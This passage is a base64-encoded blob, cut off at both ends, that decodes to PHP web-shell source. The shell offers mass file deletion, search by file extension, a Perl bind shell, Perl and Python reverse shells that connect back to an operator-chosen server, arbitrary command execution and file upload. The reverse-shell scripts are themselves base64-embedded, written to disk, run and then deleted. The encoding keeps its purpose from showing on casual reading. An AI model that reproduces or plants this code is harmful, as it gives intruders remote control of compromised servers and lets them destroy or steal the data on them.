1lZmlsZSkNCgkJCXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGRpcikpIHsNCgkJCQkJJGZpbGVUb0RlbGV0ZSA9ICIkZGlyLyRuYW1lZmlsZSI7DQoJCQkJCWlmIChpc19maWxlKCRmaWxlVG9EZWxldGUpICYmIGlzX3dyaXRhYmxlKCRmaWxlVG9EZWxldGUpKSB7DQoJCQkJCQlpZiAodW5saW5rKCRmaWxlVG9EZWxldGUpKSB7DQoJCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGZpbGVUb0RlbGV0ZSBkZWxldGVkIHN1Y2Nlc3NmdWxseTxicj4iOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQllY2hvICJbPHJlZD48aSBjbGFzcz0nYmkgYmktZXhjbGFtYXRpb24tdHJpYW5nbGUtZmlsbCc+PC9pPjwvcmVkPl0mbmJzcDtGYWlsZWQgdG8gZGVsZXRlICRmaWxlVG9EZWxldGU8YnI+IjsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkkZGlyYSA9IHNjYW5kaXIoJGRpcik7DQoJCQkJCWZvcmVhY2ggKCRkaXJhIGFzICRkaXJiKSB7DQoJCQkJCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsNCgkJCQkJCWlmICgkZGlyYiA9PT0gJy4nIHx8ICRkaXJiID09PSAnLi4nKSB7DQoJCQkJCQkJY29udGludWU7DQoJCQkJCQl9DQoJCQkJCQlpZiAoaXNfZGlyKCRkaXJjKSkgew0KCQkJCQkJCW1hc3NfZGVsZXRlKCRkaXJjLCAkbmFtZWZpbGUpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJaWYgKCRfN1snc3RhcnQnXSkgew0KCQkJCW1hc3NfZGVsZXRlKCRfN1snZF9kaXInXSwgJF83WydkX2ZpbGUnXSk7DQoJCQl9DQoJCQlzKCk7DQoJCQllY2hvICINCgkJCTxkaXYgY2xhc3M9J2NhcmQgY2FyZC1ib2R5IHRleHQtZGFyayBpbnB1dC1ncm91cCBtYi0zJz4NCgkJCTx1Pk1hc3MgRGVsZXRlPC91Pg0KCQkJCTxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCQkJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gRGlyZWN0b3J5Og0KCQkJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcicgJF9yPg0KCQkJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IEZpbGVuYW1lOg0KCQkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+DQoJCQkJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J2ZpbGVuYW1lJyAkX3I+PGJyPg0KCQkJCQkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4NCgkJCQkJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tZGFyayBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdkZWxldGUnPg0KCQkJCQkJPC9kaXY+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZm9ybT4NCgkJCTwvZGl2PiI7DQoJCX0NCgkJLy8gU2VhcmNoIEJ5IEV4dGVuc2lvbg0KCQlpZiAoJF83WydpZCddID09ICdzZWFyY2hieUVYVCcpIHsNCgkJCWZ1bmN0aW9uIHNlYXJjaF9ieV9leHRlbnNpb24oJGRpciwgJGV4dGVuc2ksICRzb3J0X2J5X2RhdGUgPSBmYWxzZSkNCgkJCXsNCgkJCQkkcmVzdWx0ID0gW107DQoJCQkJaWYgKGlzX3JlYWRhYmxlKCRkaXIpKSB7DQoJCQkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsNCgkJCQkJZm9yZWFjaCAoJGRpcmEgYXMgJGRpcmIpIHsNCgkJCQkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOw0KCQkJCQkJaWYgKCRkaXJiID09PSAnLicgfHwgJGRpcmIgPT09ICcuLicpIHsNCgkJCQkJCQljb250aW51ZTsNCgkJCQkJCX0NCgkJCQkJCWlmIChpc19kaXIoJGRpcmMpKSB7DQoJCQkJCQkJJHJlc3VsdCA9IGFycmF5X21lcmdlKCRyZXN1bHQsIHNlYXJjaF9ieV9leHRlbnNpb24oJGRpcmMsICRleHRlbnNpLCAkc29ydF9ieV9kYXRlKSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSRmaWxlRXh0ID0gcGF0aGluZm8oJGRpcmIsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQoJCQkJCQkJaWYgKHN0cmNhc2VjbXAoJGZpbGVFeHQsICRleHRlbnNpKSA9PT0gMCkgew0KCQkJCQkJCQkkcmVzdWx0W10gPSAkZGlyYzsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJaWYgKCRzb3J0X2J5X2RhdGUpIHsNCgkJCQkJdXNvcnQoJHJlc3VsdCwgZnVuY3Rpb24gKCRhLCAkYikgew0KCQkJCQkJcmV0dXJuIGZpbGVtdGltZSgkYikgLSBmaWxlbXRpbWUoJGEpOw0KCQkJCQl9KTsNCgkJCQl9DQoJCQkJcmV0dXJuICRyZXN1bHQ7DQoJCQl9DQoJCQlpZiAoJF83WydzdGFydCddKSB7DQoJCQkJJGRpciA9ICRfN1snZF9kaXInXTsNCgkJCQkkZXh0ZW5zaSA9IGx0cmltKCRfN1snZXh0ZW5zaSddLCAnLicpOw0KCQkJCSRzb3J0X2J5X2RhdGUgPSBpc3NldCgkXzdbJ3NvcnRfYnlfZGF0ZSddKSAmJiAkXzdbJ3NvcnRfYnlfZGF0ZSddID09ICdvbic7DQoJCQkJJHNlYXJjaF9yZXN1bHRzID0gc2VhcmNoX2J5X2V4dGVuc2lvbigkZGlyLCAkZXh0ZW5zaSwgJHNvcnRfYnlfZGF0ZSk7DQoJCQkJaWYgKCFlbXB0eSgkc2VhcmNoX3Jlc3VsdHMpKSB7DQoJCQkJCWVjaG8gIjxkaXYgY2xhc3M9J2FsZXJ0IGFsZXJ0LWluZm8nPlJlc3VsdHMgZm9yIGV4dGVuc2lvbiAkZXh0ZW5zaSBpbiBkaXJlY3RvcnkgJGRpcjo8L2Rpdj4iO2ZvcmVhY2ggKCRzZWFyY2hfcmVzdWx0cyBhcyAkZmlsZSkgew0KCQkJCQkJJGZpbGVEYXRlID0gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlbXRpbWUoJGZpbGUpKTsNCgkJCQkJCWVjaG8gIjxkaXYgY2xhc3M9J2FsZXJ0IGFsZXJ0LXN1Y2Nlc3MnPiRmaWxlRGF0ZSAtICRmaWxlPC9kaXY+IjsNCgkJCQkJfQ0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gIjxkaXYgY2xhc3M9J2FsZXJ0IGFsZXJ0LXdhcm5pbmcnPk5vIGZpbGVzIHdpdGggZXh0ZW5zaW9uICRleHRlbnNpIGZvdW5kIGluIGRpcmVjdG9yeSAkZGlyLjwvZGl2PiI7DQoJCQkJfQ0KCQkJfQ0KCQkJcygpOw0KCQkJZWNobyAiDQoJCQk8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc+DQoJCQk8dT5TZWFyY2ggQnkgRVhUPC91Pg0KCQkJCTxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCQkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgZC1mbGV4IGdhcC0yJz4NCgkJCQkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBEaXJlY3Rvcnk6DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+DQoJCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJyAkX3I+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBkLWZsZXggZ2FwLTInPg0KCQkJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IEVYVDoNCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwJz4NCgkJCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZXh0ZW5zaScgcGxhY2Vob2xkZXI9Jy5waHAnIHZhbHVlPSckZXh0ZW5zaScgJF9yPjxicj4NCgkJCQkJCTwvZGl2Pg0KCQkJCQkJPGRpdiBjbGFzcz0nZm9ybS1jaGVjayc+DQoJCQkJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNoZWNrLWlucHV0JyB0eXBlPSdjaGVja2JveCcgbmFtZT0nc29ydF9ieV9kYXRlJyBpZD0nc29ydF9ieV9kYXRlJyAiOw0KCQkJCQkJCWVjaG8gaXNzZXQoJF83Wydzb3J0X2J5X2RhdGUnXSkgJiYgJF83Wydzb3J0X2J5X2RhdGUnXSA9PSAnb24nID8gJ2NoZWNrZWQnIDogJyc7DQoJCQkJCQkJZWNobyAiPg0KCQkJCQkJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdzb3J0X2J5X2RhdGUnPlNvcnQgYnkgZGF0ZTwvbGFiZWw+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwLWFwcGVuZCc+DQoJCQkJCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLWRhcmsgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nc2VhcmNoJz4NCgkJCQkJCTwvZGl2Pg0KCQkJCTwvZm9ybT4NCgkJCTwvZGl2PiI7DQoJCX0NCgkJLy8gTmV0d29yaw0KCQlpZigkXzdbJ2lkJ10gPT0gJ25ldHdvcmsnKXsNCgkJcygpOw0KCQllY2hvICINCgkJPGRpdiBjbGFzcz0nY2FyZCB0ZXh0LWRhcmsnPg0KCQkJPGRpdiBjbGFzcz0nY2FyZC1oZWFkZXInPg0KCQkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQkJCTx1PkJpbmQgcG9ydCB0byAvYmluL3NoIFtQZXJsXTwvdT48YnI+DQoJCQkJCTx1PlBvcnQgOjwvdT4NCgkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+DQoJCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgcGxhY2Vob2xkZXI9JzY5NjknPg0KCQkJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tZGFyayBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnBsJyB2YWx1ZT0nc3VibWl0Jz4NCgkJCQk8L2Rpdj4NCgkJCTxoNT5CYWNrLUNvbm5lY3Q8L2g1Pg0KCQkJPHU+U2VydmVyIDo8L3U+DQoJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHBsYWNlaG9sZGVyPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+DQoJCQk8dT5Qb3J0IDo8L3U+DQoJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+DQoJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyBwbGFjZWhvbGRlcj0nNjk2OSc+DQoJCQkJPHNlbGVjdCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgbmFtZT0nYmMnPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSdwZXJsJz5wZXJsPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9J3B5dGhvbic+cHl0aG9uPC9vcHRpb24+DQoJCQkJPC9zZWxlY3Q+DQoJCQk8L2Rpdj4NCgkJCTxkaXYgY2xhc3M9J2QtZ3JpZCBnYXAtMic+DQoJCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLWRhcmsgYnRuLXNtIGJ0bi1ibG9jaycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0Jz4NCgkJCTwvZGl2Pg0KCQk8L2Zvcm0+IjsNCgkJaWYoJF83WydicGwnXSl7DQoJCQkkYnAgPSAkR0xPQkFMU1snZnVuZ3NpJ11bNl0oIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSIpOw0KCQkJJGJydCA9IEBmb3BlbignYnAucGwnLCd3Jyk7DQoJCQlmd3JpdGUoJGJydCwkYnApOw0KCQkJJG91dCA9IGV4ZSgicGVybCBicC5wbCAiLiRfN1sncG9ydCddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQlzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmU+JG91dFxuIi5leGUoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsNCgkJCSRHTE9CQUxTWydmdW5nc2knXVs0XSgiYnAucGwiKTsNCgkJfQ0KCQlpZigkXzdbJ2JjJ10gPT0gJ3BlcmwnKXsNCgkJCSRiYyA9ICRHTE9CQUxTWydmdW5nc2knXVs2XSgiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciKTsNCgkJCSRwbGJjID0gQGZvcGVuKCdiYy5wbCcsJ3cnKTsNCgkJCWZ3cml0ZSgkcGxiYywkYmMpOw0KCQkJJG91dCA9IGV4ZSgicGVybCBiYy5wbCAiLiRfN1snc2VydmVyJ10uIiAiLiRfN1sncG9ydCddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQlzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmU+JG91dFxuIi5leGUoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCgkJCSRHTE9CQUxTWydmdW5nc2knXVs0XSgiYmMucGwiKTsNCgkJfQ0KCQlpZigkXzdbJ2JjJ10gPT0gJ3B5dGhvbicpew0KCQkJJGJjX3B5ID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzZdKCJJeUV2ZFhOeUwySnBiaTl3ZVhSb2IyNE5DaU5WYzJGblpUb2djSGwwYUc5dUlHWnBiR1Z1WVcxbExuQjVJRWhQVTFRZ1VFOVNWQTBLYVcxd2IzSjBJSE41Y3l3Z2MyOWphMlYwTENCdmN5d2djM1ZpY0hKdlkyVnpjdzBLYVhCc2J5QTlJSE41Y3k1aGNtZDJXekZkRFFwd2IzSjBiRzhnUFNCcGJuUW9jM2x6TG1GeVozWmJNbDBwRFFwemIyTnJaWFF1YzJWMFpHVm1ZWFZzZEhScGJXVnZkWFFvTmpBcERRcGtaV1lnY0hsaVlXTnJZMjl1Ym1WamRDZ3BPZzBLSUNCMGNuazZEUW9nSUNBZ2FtMWlJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN4emIyTnJaWFF1VTA5RFMxOVRWRkpGUVUwcERRb2dJQ0FnYW0xaUxtTnZibTVsWTNRb0tHbHdiRzhzY0c5eWRHeHZLU2tOQ2lBZ0lDQnFiV0l1YzJWdVpDZ25KeWRjYmxCNWRHaHZiaUJDWVdOclEyOXVibVZqZENCQ2VTQk5jaTU0UW1GeVlXdDFaR0ZjYmxSb1lXNXJjeUJIYjI5bmJHVWdSbTl5SUZKbFptVnlaVzV6YVZ4dVhHNG5KeWNwRFFvZ0lDQWdiM011WkhWd01paHFiV0l1Wm1sc1pXNXZLQ2tzTUNrTkNpQWdJQ0J2Y3k1a2RYQXlLR3B0WWk1bWFXeGxibThvS1N3eEtRMEtJQ0FnSUc5ekxtUjFjRElvYW0xaUxtWnBiR1Z1YnlncExESXBEUW9nSUNBZ2IzTXVaSFZ3TWlocWJXSXVabWxzWlc1dktDa3NNeWtOQ2lBZ0lDQnphR1ZzYkNBOUlITjFZbkJ5YjJObGMzTXVZMkZzYkNoYklpOWlhVzR2YzJnaUxDSXRhU0pkS1EwS0lDQmxlR05sY0hRZ2MyOWphMlYwTG5ScGJXVnZkWFE2RFFvZ0lDQWdjSEpwYm5RZ0lsUnBiVTkxZENJTkNpQWdaWGhqWlhCMElITnZZMnRsZEM1bGNuSnZjaXdnWlRvTkNpQWdJQ0J3Y21sdWRDQWlSWEp5YjNJaUxDQmxEUXB3ZVdKaFkydGpiMjV1WldOMEtDaz0iKTsNCgkJCSRwYmNfcHkgPSBAZm9wZW4oJ2JjcHkucHknLCd3Jyk7DQoJCQlmd3JpdGUoJHBiY19weSwkYmNfcHkpOw0KCQkJJG91dF9weSA9IGV4ZSgicHl0aG9uIGJjcHkucHkgIi4kXzdbJ3NlcnZlciddLiIgIi4kXzdbJ3BvcnQnXSk7DQoJCQlzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmU+JG91dF9weVxuIi5leGUoInBzIGF1eCB8IGdyZXAgYmNweS5weSIpLiI8L3ByZT4iOw0KCQkJJEdMT0JBTFNbJ2Z1bmdzaSddWzRdKCJiY3B5LnB5Iik7DQoJCQl9DQoJCQllY2hvICI8L2Rpdj4NCgkJCTwvZGl2Pg0KCQk8YnIvPiI7DQoJCX0NCgkJLy8gQ01EDQoJCWlmICgkXzdbJ2lkJ10gPT0gJ2NtZCcpIHsNCgkJcygpOw0KCQkkY21kUmVzdWx0ID0gJyc7DQoJCSRjb21tYW5kID0gJyc7DQoJCWlmICghZW1wdHkoJF9QT1NUWydjbWQnXSkpIHsNCgkJCSRjb21tYW5kID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NtZCddLCBFTlRfUVVPVEVTLCAnVVRGLTgnKTsNCgkJCSRjbWRSZXN1bHQgPSBzaGVsbF9leGVjKCRjb21tYW5kIC4gJyAyPiYxJyk7DQoJCQlpZiAoJGNtZFJlc3VsdCA9PT0gbnVsbCkgew0KCQkJCSRvdXRwdXQgPSBhcnJheSgpOw0KCQkJCSRyZXR1cm5fdmFyID0gMDsNCgkJCQlleGVjKCRjb21tYW5kLCAkb3V0cHV0LCAkcmV0dXJuX3Zhcik7DQoJCQkJJGNtZFJlc3VsdCA9IGltcGxvZGUoIlxuIiwgJG91dHB1dCk7DQoJCQkJaWYgKCRjbWRSZXN1bHQgPT09IG51bGwpIHsNCgkJCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQoJCQkJCQkwID0+IGFycmF5KCJwaXBlIiwgInIiKSwNCgkJCQkJCTEgPT4gYXJyYXkoInBpcGUiLCAidyIpLA0KCQkJCQkJMiA9PiBhcnJheSgicGlwZSIsICJ3IikNCgkJCQkJKTsNCgkJCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJGNvbW1hbmQsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsNCgkJCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgew0KCQkJCQkJJGNtZFJlc3VsdCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCgkJCQkJCWZjbG9zZSgkcGlwZXNbMF0pOw0KCQkJCQkJZmNsb3NlKCRwaXBlc1sxXSk7DQoJCQkJCQlmY2xvc2UoJHBpcGVzWzJdKTsNCgkJCQkJCSRyZXR1cm5fdmFsdWUgPSBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCgkJCQkJCWlmICgkcmV0dXJuX3ZhbHVlICE9PSAwKSB7DQoJCQkJCQkJJGNtZFJlc3VsdCA9ICJFcnJvcjogTm9uLXplcm8gcmV0dXJuIHZhbHVlICgkcmV0dXJuX3ZhbHVlKSI7DQoJCQkJCQl9DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQkkY21kUmVzdWx0ID0gIkVycm9yOiBGYWlsZWQgdG8gb3BlbiBwcm9jZXNzIHdpdGggcHJvY19vcGVuIjsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJCX0NCgkJCWVjaG8gIg0KCQkJPGRpdiBjbGFzcz0nbWItMyc+DQoJCQkJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBkLWZsZXggZ2FwLTInPg0KCQkJCTxsYWJlbCBmb3I9J2NtZCc+JHVzZXJAJGRvbWVuOiB+ICQ8L2xhYmVsPg0KCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4NCgkJCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjbWQnXSwgRU5UX1FVT1RFUywgJ1VURi04JykgLiAiJyBwbGFjZWhvbGRlcj0nd2hvYW1pJyAkX3I+DQoJCQkJCQk8YnV0dG9uIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnPjxpIGNsYXNzPSdiaSBiaS1hcnJvdy1yZXR1cm4tcmlnaHQnPjwvaT48L2J1dHRvbj4NCgkJCQkJPC9kaXY+DQoJCQkJPC9mb3JtPiI7DQoJCQlpZiAoIWVtcHR5KCRjbWRSZXN1bHQpKSB7DQoJCQkJZWNobyAiDQoJCQkJPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQnPg0KCQkJCQk8ZGl2IGNsYXNzPSdzaGVsbCBtYi0zJz4NCgkJCQkJCTxwcmUgc3R5bGU9J2ZvbnQtc2l6ZToxMHB4Oyc+PGdyPn48L2dyPlwkJm5ic3A7PHJkPnskY29tbWFuZH08L3JkPjxicj48Y29kZT4iIC4gaHRtbHNwZWNpYWxjaGFycygkY21kUmVzdWx0LCBFTlRfUVVPVEVTLCAnVVRGLTgnKSAuICI8L2NvZGU+PC9wcmU+DQoJCQkJCTwvZGl2Pg0KCQkJCTwvZGl2PiI7DQoJCQl9IGVsc2VpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnKSB7DQoJCQkJZWNobyAiDQoJCQkJPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQnPg0KCQkJCQk8ZGl2IGNsYXNzPSdzaGVsbCBtYi0zJz4NCgkJCQkJCTxwcmUgc3R5bGU9J2ZvbnQtc2l6ZToxMHB4Oyc+PGNvZGU+Tm8gcmVzdWx0PC9jb2RlPjwvcHJlPg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Rpdj4NCgkJCTwvZGl2PiI7DQoJCQl9DQoJCX0NCgkJLy8gVXBsb2FkDQoJCWlmKCRfN1snaWQnXSA9PSAndXBsb2FkJyl7DQoJCXMoKTsNCgkJaWYoaXNzZXQoJF83Wyd1cGwnXSkpew0KCQkJJHJlc3VsdCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsNCgkJCWZvcigkY29udGVudHM9MDskY29udGVudHM8JHJlc3VsdDskY29udGVudHMrKyl7DQoJCQkJJG5hbWVmaWxlID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ11bJGNvbnRlbnRzXTsNCgkJCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRjb250ZW50c10sIiRwYXRoLyIuJG5hbWVmaWxlKTsNCgkJCQl9DQoJCQkJaWYoJHJlc3VsdCA8IDIpew0KCQkJCQlpZigkdXApew0KCQkJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtZWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsNCgkJCQl9ZWxzZXsNCgkJCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBmYWlsISAnLmVyKCkuJzwvZGl2Pic7DQoJCQkJfQ0KCQkJfWVsc2V7DQoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkcmVzdWx0IG9rISAiLm9rKCkuIjwvZGl2PiI7DQoJCQl9DQoJCX0NCgkJZWNobyAiDQoJCTxkaXYgY2xhc3M9J2NhcmQgY2FyZC1ib2R5IHRleHQtZGFyayBpbnB1dC1ncm91cCBtYi0zJz4NCgkJPHU+TXVsdGlwbGUgdXBsb2FkPC91Pg0KCQkJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCc+DQoJCQkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbScgdHlwZT0nZmlsZScgbmFtZT0nZmlsZVtdJyBtdWx0aXBsZT0nJyAkX3I+DQoJCQkJCTxpbnB1dCBjbGFzcz0nYnRuIGJ0bi1kYXJrIGJ0bi1zbScgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGwnIHZhbHVlPSd1cGxvYWQnPg0KCQkJCTwvZGl2Pg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4iOw0KCQl9DQoJCS8vIFNjYW4gcm9vdA0KCQlpZiAoaXNzZXQoJF9HRVRbJ2RpciddKSAmJiAkX0dFVFsnaWQnXSA9PSAic2Nhbl9yb290Iikgew0KCQkJb2JfaW1wbGljaXRfZmx1c2goKTtvYl9lbmRfZmx1c2goKTtzKCk7DQo